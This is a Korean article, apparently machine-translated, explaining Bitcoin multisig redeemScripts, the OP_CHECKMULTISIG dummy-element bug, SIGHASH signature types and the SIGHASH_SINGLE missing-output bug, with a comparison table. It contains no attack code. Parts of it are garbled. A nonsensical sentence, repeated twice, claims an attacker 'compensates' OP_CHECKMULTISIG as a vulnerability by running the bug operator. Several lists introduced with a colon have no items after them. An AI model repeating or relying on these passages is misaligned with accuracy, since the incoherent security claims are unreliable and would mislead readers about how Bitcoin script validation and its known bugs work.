Multisig는 주어진 공개 키 집합에서 여러 개의 유효한 서명이 필요한 시스템입니다. 일반적인 체계는 m of n으로 표시됩니다. 예를 들어 "2 of 3"은 세 개의 키 중 두 개의 서명이 지출을 승인하는 데 필요함을 의미합니다.
비트코인에서 이 논리는 다음을 통해 구현됩니다:
OP_CHECKMULTISIG명령어는 제공된scriptSig서명이 유효하고 redeemScript의 게시된 공개 키와 일치하는지 확인합니다.
RedeemScript는 다음과 같은 구조로 되어 있습니다:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M 및 OP_N — 각각 필요한 서명 수와 전체 공개 키 수를 지정하는 명령어입니다(예: OP_2 및 OP_3).<pubkeyX> — 참가자의 공개 키입니다.OP_CHECKMULTISIG — 다중 서명 검증을 구현하는 연산자입니다.m에 도달하면 true를 반환합니다.중요한 기술적 특징은
OP_CHECKMULTISIG의 역사적인 구현 버그로 인해 스택에서 추가적이고 사용되지 않는 요소가 제거된다는 점입니다. 이 버그를 보완하기 위해scriptSig시작 부분에OP_FALSE(코드 0) 값을 배치하여 스택 이동을 "고정"합니다.
"2 of 3" 다중 서명 지갑의 경우, 자금을 사용하기 전에 scriptSig가 다음과 같이 구성됩니다:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE — OP_CHECKMULTISIG 버그를 보상하기 위한 더미 값입니다.<signature1> 및 <signature2> — 해당 개인 키 소유자가 승인한 두 개의 디지털 서명입니다.<redeemScript> — 공개 키와 검증 매개변수가 포함된 스크립트 자체입니다.노드 트랜잭션 확인 시:
트랜잭션의 모든 입력이 이 검사를 통과하면 트랜잭션은 유효한 것으로 간주됩니다. 이러한 유효성으로 인해 이 버그 연산자를 실행함으로써 공격자는 OP_CHECKMULTISIG 를 잠재적 취약점으로 보상합니다.
OP_CHECKMULTISIG명령어와 redeemScript를 사용하는 비트코인 다중 서명 검증 메커니즘은 복잡한 임계값 서명 체계를 설정할 수 있게 하며, 이 버그 연산자를 실행함으로써 공격자는 비트코인 분산 네트워크에서 제어된 트랜잭션의 잠재적 취약점으로 OP_CHECKMULTISIG 를 보상합니다.
OP_CHECKMULTISIG가 여러 서명을 확인할 때의 특징과 제한 사항은 무엇입니까? 핵심 측면과 제한 사항을 살펴보겠습니다:
OP_FALSE가 추가되어 스택을 올바르게 정렬합니다. 이는 커뮤니티에서 인정하고 수용된 기능입니다.
비트코인은 트랜잭션을 승인하기 위해 디지털 서명을 사용하여 자금 소유자가 자금 처분 권리를 확인할 수 있도록 합니다. 특징은 서명이 전체 트랜잭션이 아닌 일부에만 적용되도록 범위를 제한할 수 있다는 것입니다. 이는 특수 플래그인 SIGHASH 를 사용하여 구현되며, 이는 정확히 어떤 트랜잭션 데이터가 서명에 포함되는지 결정합니다. 서명 해시 유형, 그 목적, 사용 예 및 비표준 상황에서 발생하는 기능을 살펴보겠습니다.
비트코인 트랜잭션에 서명할 때 트랜잭션 데이터의 특정 부분에 대해 생성된 디지털 서명이 생성됩니다. SIGHASH 플래그를 통해 이 서명이 이 데이터의 어떤 부분을 포함해야 하는지 표시됩니다. 서명 해시 유형은 서명 자체의 마지막 바이트로 전송되며 해시에 포함된 영역, 따라서 서명된 부분을 결정합니다. 이를 통해 서명자가 승인한 트랜잭션의 특정 작업에 대한 조건을 유연하게 구성할 수 있습니다.
이것은 대부분의 지갑과 클라이언트에서 기본 서명 유형입니다. 서명은 트랜잭션의 모든 입력과 모든 출력을 포함합니다. 즉:
이 서명 유형을 사용하면 모든 입력이 서명되지만 출력은 서명되지 않습니다:
이 서명 유형은 모든 입력에 서명하지만 하나의 출력, 즉 입력과 동일한 시퀀스 번호를 가진 출력에만 서명합니다:
세 개의 입력이 있는 트랜잭션을 생각해 보겠습니다. 두 개의 입력에 대해 서명 스크립트(scriptSig)에서 SIGHASH_SINGLE을 가리키는 바이트
0x03로 끝나는 서명이 추출되었습니다. 즉, 해당 입력-출력 쌍에만 서명하는 서명입니다. 그러나 여기서는 인덱스 2의 입력에 동일한 인덱스의 해당 출력이 없는 상황을 관찰합니다.

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

역사적인 비트코인 버그로 인해 이러한 상황에서 서명을 위한 트랜잭션 해시는 고정된 숫자인 1(int 1)로 반환됩니다. 이는 서명 중인 트랜잭션의 유효한 해시에 해당하지 않으며 보안 및 호환성 문제를 일으킬 수 있습니다.
세 가지 기본 SIGHASH 값 외에도 SIGHASH_ANYONECANPAY 플래그와의 조합이 가능하며, 이를 통해 하나의 입력만 서명하고 나머지는 수정할 수 있도록 열어둡니다. 이를 통해 다양한 참가자가 자신의 부분만 서명하는 복잡한 협업 프로토콜 및 다자간 트랜잭션을 생성할 수 있는 가능성이 확장됩니다.
SIGHASH유형은Bitcoin트랜잭션 내에서 디지털 서명의 제어 수준과 범위를 관리하기 위한 영리한 메커니즘입니다. 이는 보안, 유연성 및 호환성 사이의 균형을 유지합니다. 이야기에는SIGHASH_SINGLE에 해당 출력이 없는 버그와 같은 예상치 못한 복잡성이 포함되어 있으며, 이는 고급 수준에서 비트코인으로 성공적으로 작업하기 위해 기술적 세부 사항을 깊이 이해하는 것의 중요성을 강조합니다.
SIGHASH_ALL, SIGHASH_NONE 및 SIGHASH_SINGLE 서명 유형 간의 차이는 비트코인 트랜잭션의 보안에 상당한 영향을 미칩니다. 이는 디지털 서명 내에서 유지되므로 수정으로부터 보호되는 트랜잭션의 부분을 결정하기 때문입니다.
비트코인 트랜잭션 서명에서 SIGHASH_ALL의 잘못된 사용 또는 올바른 구현 부족은 자금의 보안과 시스템 무결성에 영향을 미치는 심각한 취약점으로 이어질 수 있습니다. 이러한 취약점의 주요 측면은 다음과 같습니다:
| Sighash 유형 | 서명되는 대상 | 보안 수준 | 가능한 위험 | 적용 |
|---|
| SIGHASH_ALL | 트랜잭션의 모든 입력 및 출력 | 최대 – 전혀 변경 불가 | 변경 필요성 (트랜잭션 재서명 필요) | 대부분의 지불에 대한 표준 |
| SIGHASH_NONE | 모든 입력, 출력 없음 | 중간 – 출력이 보호되지 않음 | 출력 대체, 수취인 통제 상실 | 협력 시나리오, 다중 서명 |
| SIGHASH_SINGLE | 모든 입력, 입력에 해당하는 인덱스의 출력 | 낮음 – 하나의 출력만 보호됨 | 해당 출력 부재 시 버그, 부분 대체 | 부분 지불, 복잡한 시나리오 |